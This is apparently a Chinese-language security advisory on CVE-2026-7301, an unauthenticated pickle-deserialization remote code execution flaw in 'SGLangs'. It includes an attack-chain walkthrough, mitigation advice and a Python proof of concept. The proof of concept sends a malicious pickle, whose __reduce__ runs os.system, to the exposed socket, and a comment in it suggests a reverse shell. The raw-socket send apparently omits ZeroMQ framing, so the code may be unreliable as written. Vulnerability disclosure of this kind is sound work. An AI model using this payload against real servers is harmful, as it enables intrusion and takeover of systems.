IPBUF安全漏洞报告
English
CVE-2026-7301 CVSS 9.8 严重

CVE-2026-7301 SGLangs远程代码执行漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-7301
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SGLangs

相关标签

RCE远程代码执行SGLangsPickle反序列化CVE-2026-7301严重

漏洞概述

SGLangs多模态生成运行时调度器存在严重安全漏洞。由于其ROUTER socket默认绑定0.0.0.0,且在处理消息时调用了不安全的pickle.loads()方法,攻击者可利用Python pickle反序列化机制,在无需认证的情况下通过网络发送恶意数据包,导致目标服务器执行任意代码,进而完全控制受影响系统。

技术细节

该漏洞的根本原因在于SGLangs对网络接口的安全配置不当以及对Python pickle模块的危险使用。首先,ROUTER socket默认监听在0.0.0.0,意味着该服务会监听服务器上所有的网络接口,如果部署在云环境或公网,极易被攻击者探测到。其次,服务端在接收消息时,直接使用`pickle.loads()`对数据流进行反序列化。Python的pickle模块在反序列化过程中可以自动执行定义在对象中的`__reduce__`方法。攻击者可以构造一个恶意的pickle对象,其中包含执行系统命令(如反弹Shell)的指令。当服务端接收到该恶意数据并尝试反序列化时,恶意代码即被触发执行。由于该漏洞无需用户交互且无需认证,攻击门槛极低,危害性极大。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描互联网或内网,寻找开放了特定端口(SGLangs默认端口)且运行SGLangs服务的目标。
STEP 2
2. 漏洞利用
攻击者构造包含恶意Python代码的pickle序列化数据包,直接发送给目标IP的ROUTER socket。
STEP 3
3. 代码执行
SGLangs服务接收到数据后,调用pickle.loads()进行反序列化,触发__reduce__方法执行攻击者预设的命令。
STEP 4
4. 权限获取
攻击者成功在服务器上执行任意系统命令,获得服务器访问权限,可进一步植入后门或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import socket import os # Define a malicious payload class class ExploitPayload: def __reduce__(self): # Execute a shell command (e.g., create a reverse shell or ping) # Note: Replace with actual command for testing in authorized environment only return (os.system, ('ping -c 1 127.0.0.1',)) def generate_poc_payload(): # Serialize the malicious object serialized_data = pickle.dumps(ExploitPayload()) return serialized_data def send_exploit(target_ip, target_port): payload = generate_poc_payload() try: # Establish connection to the vulnerable ROUTER socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send the malicious pickle payload s.send(payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Failed to send payload: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 send_exploit(TARGET_IP, TARGET_PORT)

影响范围

SGLangs (具体修复版本未在描述中明确,建议检查官方公告)

防御指南

临时缓解措施
建议立即检查SGLangs服务的网络配置,确保未将0.0.0.0作为绑定地址暴露在公网。在未升级补丁前,应通过防火墙阻断外部对相关端口的访问,或暂停服务直至修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表